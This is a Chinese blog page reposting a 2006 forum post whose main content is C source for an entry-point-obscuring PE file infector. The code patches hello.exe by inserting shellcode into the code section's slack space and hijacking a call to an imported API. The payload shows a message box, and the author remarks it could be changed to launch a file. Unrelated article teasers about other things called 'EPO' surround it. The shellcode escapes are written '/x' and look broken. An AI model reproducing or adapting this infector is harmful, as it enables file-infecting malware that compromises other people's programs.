用C实现简单的EPO

linux下Epoll实现简单的C/S通信 <br />epoll的优点:<br />1.支持一个进程打开大数目的socket描述符(FD)<br />    select 最不能忍受的是一个进程所打开的FD是有一定限制的,由FD_SETSIZE设置,默认值是2048。对于那些需要支持的上万连接数目的IM服务器来说显然太少了。这时候你一是可以选择修改这个宏然后重新编译内核,不过资料也同时指出这样会带来网络效率的下降,二是可以选择多进程的解决方案(传统的 Apache方案),不过虽然linux上面创建进程的代价比较小,但仍旧是不可忽视的,加上进程间数据 阅读详情
crazybug
时 间: 2006-10-24 23:04
链 接: http://bbs.pediy.com/showthread.php?threadid=33783
详细信息:

//:::从代码节开始搜索,替换第一个发现的call api的指令
//:::把目标代码插入代码节的尾部
//:::代码仅供演示之用,没有做过多的错误处理
//:::感染当前hello.exe,插入一段弹出对话框代码(当然你可以修改成启动文件的代码,嘿嘿)
//:::coded by robinh00d
//:::robinh00d_at_163.com
//:::编译:cl epo.c
/*
要插入的反汇编代码thunk code:
00401006   .  60                  PUSHAD
00401007   .  9C                  PUSHFD
00401008   .  E8 00000000         CALL msg.0040100D
0040100D   $  5B                  POP EBX
0040100E   .  81EB 0D104000       SUB EBX,msg.0040100D
00401014   .  6A 00               PUSH 0
00401016   .  8D83 30104000       LEA EAX,DWORD PTR DS:[EBX+401030]
0040101C   .  50                  PUSH EAX
0040101D   .  50                  PUSH EAX
0040101E   .  6A 00               PUSH 0
00401020   .  B8 78563412         MOV EAX,12345678            ;这里感染前会被替换成正确的MessageBoxA的地址
00401025   .  FFD0                CALL EAX
00401027   .  9D                  POPFD
00401028   .  61                  POPAD
00401029   .  FF25 3A104000       JMP DWORD PTR DS:[40103A]   ;跳到API
0040102F      90                  NOP
00401030   .  72 6F 62 69 6E 68 3>ASCII "robinh00d",0
*/
#include <windows.h>

#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")

char szHostFile[] = ".//hello.exe" ;
PIMAGE_DOS_HEADER pImageDosHeader ;
PIMAGE_NT_HEADERS pImageNtHeaders ;
PIMAGE_SECTION_HEADER pImageSectionHeader ;

unsigned char thunkcode[] = "/x60/x9c/xe8/x00/x00/x00/x00/x5b"
                            "/x81/xeb/x0d/x10/x40/x00/x6a/x00"
                            "/x8d/x83/x30/x10/x40/x00/x50/x50"
                            "/x6a/x00/xb8/x78/x56/x34/x12/xff"
                            "/xd0/x9d/x61/xff/x25/x3a/x10/x40"
                            "/x00/x90/x72/x6f/x62/x69/x6e/x68"
                            "/x30/x30/x64/x00" ;
int main()
{
    HANDLE hFile ;
    HANDLE hMap ;
    LPVOID pMapping ;
    DWORD dwGapSize ;
    unsigned char *pGapEntry ;
    int i ;
    PROC MsgBox ;
    DWORD OldEntry ;
    int x = 0x18 ;
    int vir_len ;
    unsigned char *pSearch ;
    DWORD *dwCallNextAddr ;
    DWORD *dwCallDataOffset ;
    DWORD *dwCallDataAddr ;
    DWORD dwCallData ;
    DWORD dwCodeDistance ;
    DWORD *dwJmpAddr ;
    DWORD dwJmpData ;
    DWORD dwJmpVA ;

    //:::
    hFile = CreateFile(szHostFile,
                        FILE_ALL_ACCESS,
                        FILE_SHARE_READ,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL) ;
                        
    if (hFile==-1)
    {
        printf("Open host file failed!/n") ;
        return -1 ;
    }
    
    hMap = CreateFileMapping(hFile,
                            NULL,
                            PAGE_READWRITE,
                            0,
                            0,
                            NULL) ;
    if (!hMap)
    {
        printf("Create file mapping falied!/n") ;
        return -1 ;
    }
    
    pMapping = MapViewOfFile(hMap,
                        FILE_MAP_ALL_ACCESS,
                        0,
                        0,
                        0) ;
    if (!pMapping)
    {
        printf("Map view of file failed!/n") ;
        return -1 ;
    }
    
    //::::::打开目标宿主文件,先检测文件是否PE格式,定位到代码的末尾
    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
    if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
    {
        pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
        if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
        {
            //:::是合法的PE文件
            //:::定位到节表头
            pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                            pImageDosHeader->e_lfanew+
                                                            sizeof(IMAGE_NT_HEADERS)) ;
            //:::计算第一个节的空隙大小
            dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;
            
            //:::如果代码缝隙小于thunk code的大小则感染失败
            if (sizeof(thunkcode)>dwGapSize)
            {
                printf("no more space to fill!/n") ;
                goto Close ;
                
            }
            //:::定位到代码末尾
            pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                            (DWORD)pMapping+
                                            pImageSectionHeader->Misc.VirtualSize) ;
            
            OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                        pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

            MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

            //修改为当前系统的MessageBoxA地址
            for (i=3;i>=0;i--)
            {
                thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                x -= 8 ;
            }
            x = 24 ;
            
            vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
            
            pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                        (DWORD)pMapping) ;
                        
            //:::搜索call指令(0xe8)
            for (i=0;i<vir_len;i++)
            {
                if (pSearch[i]==0xe8)
                {
                    //:::call指令操作数地址
                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                    //:::call下条指令地址
                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                    //:::jmp指令地址
                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                    //:::Jmp指令在内存的虚拟地址VA
                    dwJmpVA = (DWORD)dwJmpAddr-
                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+
                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                    //:::取jmp操作数,返回的时候使用
                    dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                    if ((*dwJmpAddr&0xffff)==0x25ff)
                    {
                        //:::修改call操作数
                        dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                        *dwCallDataAddr = dwCodeDistance ;
                        //:::原jmp里的操作数,替换到thunk code的末尾
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                            x -= 8 ;
                        }
                        //把thunk code写入目标宿主程序
                        for (i=0;i<sizeof(thunkcode);i++)
                        {
                            pGapEntry[i] = thunkcode[i] ;
                        }
                        break ;
                    }
                }
                
            }
            
        }
    }
    else
    {
        printf("Invalid file format!/n") ;
    }
    Close:
    UnmapViewOfFile(pMapping) ;
    CloseHandle(hMap) ;
    CloseHandle(hFile) ;
    
    return 0 ;
}

帝企鹅优化器(EPO)详解:从基础原理到代码实战 帝企鹅优化器(EPO)是受帝企鹅群体在极寒环境中抱团取暖行为启发,于2018年提出的一种群体智能优化算法。其核心机制是模拟帝企鹅种群通过动态调整位置来维持体温的过程,主要包括确定集群边界、计算温度分布、衡量个体间距离以及更新位置四个步骤,从而在求解复杂优化问题时有效平衡全局探索与局部开发。该算法具有参数少、结构清晰、易于实现等优点,在工程优化、图像处理、机器学习特征选择以及冷链物流车辆路径规划等领域展现出良好的应用潜力。 阅读详情

相关推荐

McAfee EPO 4.0 安装部署实战指南完整版

安装向导允许更改默认HTTPS端口(8443),常见替代值包括:443— 标准HTTPS端口,便于绕过防火墙限制8444— 多实例共存时区分用途标准监控视图虽能满足基本需求,但在大型组织中,不同角色需要关注不同的KPI。ePO 允许管理员创建多个自定义仪表板(Custom Dashboards),并分配给特定用户组。常见的关键绩效指标包括:KPI名称计算方式监控意义终端覆盖率已安装Agent设备数 / 总资产清单数 × 100%衡量部署完整性。

weixin_29009401的博客 1106

EPO技术

什么是EPO? EPO是EntryPoint Obscuring技术的简写,意即入口模糊技术,该技术改变了传统的修改PE 头部的入口点,使其指向病毒代码入口而使你的代码得以执行的典型方法。 /* 要插入的反汇编代码thunk code: 00401006    .   60                   PUSHAD 00401007    .   9C

1397

STM32实战篇:使用USART发送/接收数据

在发送字符时也可以直接使用其对应的ASCLL码,例如: USART_SendData(USART1, 0x61);

qq_74114817的博客 596

MTK 驱动(100)---GPS调试宝典

GPS 基本知识Ø  1.1)GPS定位和网络定位有什么不同?GPS定位是需要卫星参与的,设备借助搜到的卫星讯号,来计算出来设备的位置。网络定位是指利用基站、WIFI MAC,获取一个粗略的位置。Ø  1.2)3D定位和2D 定位的区别?3D一般是指使用至少4颗以上卫星完成的定位。2D一般使用3颗卫星完成的定位过程。3D相比于2D 定位,即定位精度更高。Ø  1.3)卫星分布对GPS perfor...

zhangbijun1230的专栏 1万+

从零到一:FAST_LIO与FAST_LIO2算法环境搭建与实战评测

本文详细介绍了FAST_LIO与FAST_LIO2算法的环境搭建与实战评测,包括算法原理、环境配置避坑指南、源码编译技巧及性能对比。FAST_LIO2凭借ikd-tree数据结构在动态环境中表现优异,处理速度提升至15ms,内存占用降低40%。文章还提供了常见问题排查和进阶优化技巧,助力开发者高效实现SLAM应用。

weixin_29271053的博客 470

【无线通信】射频杂散(RF Spurious Emissions)

射频杂散(RF Spurious Emissions)是指在无线通信系统中,除了在指定频率范围内的预期信号之外,任何不需要的或非预期的射频信号。这些杂散信号可能会干扰其他通信系统,降低系统性能,并违反无线电通信法规。射频杂散通常包括谐波、次谐波、互调产物和其他非线性失真所产生的信号。

qq_38801607的博客 5431

GPS辅助方式:AGPS、EPO、Hotstill的异同

1、MT2503辅助定位的方式系统已经默认开启,是以EPO的方式去辅助定位: (1)AGPS只能下载两个小时的有效星历,MTK不使用此方式,所以代码中无需开启AGPS_SUPPORT这个宏; (2)EPO下载的数据为3天的辅助定位数,只要在有校时间内不需要连网下载就可以进行AIDING,加速定位; (3)系统默认开机20秒后下载EPO文件,请确保可以连网。   2、如何查看EPO是否下载

笑傲江湖 1万+

【机器人】机械臂控制入门技术栈分享

机械臂控制入门技术栈分享1.前言2.机器人控制入门技术栈2.1.空间描述和变化2.2.运动学分析2.3.动力学建模2.4.控制入门学习3.进阶部分3.1.机器人参数辨识3.2.非线性控制3.3.现代机器人描述方法:指数坐标4.总结 1.前言 今天看到优快云上有个分享个人技术栈的活动,虽然我不是一个正规的程序员,也不搞前端、后端这些,但我一直在优快云上通过写博客对我的学习进行总结,于是我突发奇想,不如我也写一下我的个人技术栈,针对机械臂控制入门的,因为我水平也不高,所以本文内容也许不够饱满,也不够准确,但

要恰饭得嘛 5859

EPO: (入口模糊技术)

;----------------------------------------------------------------------------;EPO: (入口模糊技术);by GriYo / 29A;译:fqh;----------------------------------------------------------------------------为了获取控制权,病毒可

gzfqh的专栏 →底层代码研究 8400

【SpringBoot笔记44】SpringBoot多数据源配置(方式一:配置多个mapper扫描不同的包路径实现多数据源配置)

在SpringBoot应用开发中,一般情况下,都是只会配置一个数据源信息,之后整个工程都是对当前数据源进行增删改查的操作。但是,在实际开发里面,也有可能会遇到多数据源的情况,例如:当前工程中除了需要访问自己应用的数据库,还需要直接连接第三方系统的数据库进行业务处理,这种情况下,就需要进行多数据源的配置。SpringBoot考虑到了这一点,所以它是支持多数据源的配置的,下面介绍一下如何配置多数据源。

✅ Java 开发工程师 1118

Google Earth Engine :处理Sentinel-1 GRD SAR数据以估算田间尺度土壤湿度的工作流程(计算双极化雷达植被指数(DpRVIc)和VV极化后向散射强度(VVdB))

本文介绍了利用Google Earth Engine (GEE)处理Sentinel-1 SAR数据估算田间土壤湿度的方法。工作流程包括:定义研究区域并筛选指定日期、轨道参数的Sentinel-1图像;预处理计算双极化雷达植被指数(DpRVIc)和VV极化后向散射强度(VVdB),通过均值滤波降噪并去除无效像素;结合动态世界数据集掩膜水体/城市区域;最终导出时序GeoTIFF文件。DpRVIc基于双极化后向散射系数比,对植被结构敏感,而VVdB反映地表反射特性,二者结合可有效评估土壤湿度。该方法适用于农业监

此星光明博客 383

Anti-VAR-EPO特异性抗体:精准识别基因多态性,助力兴奋剂检测

受北京兴奋剂检测实验室委托,北京义翘神州科技股份公司成功开发出高亲和力Anti-VAR-EPO兔单克隆抗体,为全球反兴奋剂检测提供了精准识别VAR-EPO的关键工具,确保检测结果不被基因多态性干扰。

北京义翘神州官方账号 850

基于C#通过PLCSIM ADV仿真软件实现与西门子1500PLC的S7通信方法演示

基于C#通过PLCSIM ADV仿真软件实现与西门子1500PLC的S7通信方法演示

Robot_PLC_HMI_Automation 3163

收集清单后无法在ePO中看到清单

收集清单后无法在ePO中看到清单 点击fetch,任务显示已完成,但仍然显示清单提取状态为尚未提取,多次运行提取,服务器任务仍然显示已成功,但清单状态不变,事实上也没有显示这台机器上的清单 已确认: 本地cli已经lockdown,即使unso之后再次提取仍然显示提取成功,但没有清单 TS: 1. 确认问题,究竟是在客户端没有收集到inventory还是没有成功发送至ePO 在客户端尝试手动...

xinyouliang的专栏 336

AI辅助决策支持系统架构设计避坑:5个常见技术选型误区及正确方案

AI辅助决策支持系统(AI-DSS)是指通过人工智能技术(机器学习、自然语言处理、知识图谱等)赋能传统决策支持系统,帮助决策者在复杂业务场景中(如供应链优化、风险控制、医疗诊断、金融投资等)提升决策效率和准确性的系统。与传统BI工具不同,AI-DSS不仅能"展示数据",还能基于数据生成"决策建议"甚至"自动执行决策"。技术选型是AI-DSS架构设计的核心环节,涉及数据处理引擎、模型框架、算力资源、集成接口等关键组件的选择。效果不达标:模型预测精度低、决策建议不可用;成本失控:算力资源浪费、维护成本高企。

AIGC应用创新大全的博客 1384

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

【智能算法】帝企鹅优化算法(EPO)原理及实现

EPO模拟了帝企鹅在寒冷冬季的聚集行为,群体通过产生热量来维持温暖。每个帝企鹅个体都会朝着群体中温度较高的方向移动,并寻找到达温度最高处的最优位置。在移动过程中,每个帝企鹅个体会根据自身与最优位置的距离进行调整,并不断更新最优位置,以此实现群体内个体的优化移动和位置更新。其中,P,Pep分别表述最优个体位置和个体当前位置。A,C是避免相邻个体间碰撞的向量参数,S表示帝企鹅群体最优个体方向移动趋势。其中,k为当前迭代次数,R表述个体距离拥挤群体中心的半径。

Logic_9527的博客 2124

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

安装McAfee EPO 5.10.0

安装McAfee EPO(踩的坑超级多)哭唧唧安装前准备安装环境:新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导...

LIMY_hm的博客 5339

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

McAfee EPO4.6的迁移和升级

  由于公司EPO服务器使用的是2003系统,太过老旧且EPO5.0开始不再支持2003的系统。于是考虑把EPO迁移和升级,本想一步到位直接使用2012系统,因其他应用的限制放弃,不过2008R2以后也可以直接升到2012。   迁移步骤: 一、备份   1、备份文件    C:\Program Files\McAfee\ePolicy Orchestr...

weixin_34378045的博客 1008

ePO从32位系统迁移至64位系统

epo目前大多运行在32位系统上,现在windows大力推行2008,在不久就会废除2003.所以ePO要迁移至64位系统是势在必行。废话少说,开工。 准备64为系统的Server一台,推荐windows 2008 R2企业版。 内存4G ,cpu就看着办 别太落伍就行。 一、 备份在32位操作系统上数据库和ePO相关文件 1、停止ePO服务,将下面3个ePO服务停止。...

weixin_34255793的博客 339

Training homework by myself - ePO/ENS/MA

Training-1020 ePO ePO 3个服务: Tomcat&gt;8443&gt;占用内存最多1-3GB&gt;log记录在apsvr和orion,可以查看system event log Apache&gt;客户端通信&gt;同时可以处理250-6=244个通信(涉及到性能与客户端的关系) 加一个AH就相当于加了一个Apache(244点连接数) If(客户端多于5...

xinyouliang的专栏 531

Mcafee epo4.0安装布署及基本配置

这两天研究了一下epo4.0+mcafee8.7i,发现这方面的资料还是比较少,尤其是中文的,所以把自己这几天的心得写出来,和大家分享一下,也请大家多多指教。 本次测试使用的环境是Windows server 2003 enterprise Sp2 x32虚机一台和Windows Xp Sp3虚机一台。数据库为了方便就使用了epo4.0自带的 SQL Server 200...

weixin_34400525的博客 517

如何卸载&重装ePO Agent。

最近做了ePO的迁移和升级,不知何故ePO Agent连接部署ePOServer。无奈 重装Agent。卸载Agent中的曲折不废话了,下面开工。 1、在客户端打开运行,“浏览--"C:\Program Files\McAfee\Common Framework\FrmInst.exe"”,然后后面加上“ /forceuninstall” 开始卸载。 然后,一流下一步...

weixin_33774883的博客 836
上一篇: 俩种方式注入机器码
下一篇: 有效利用PE文件内部空间植入用户程序
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值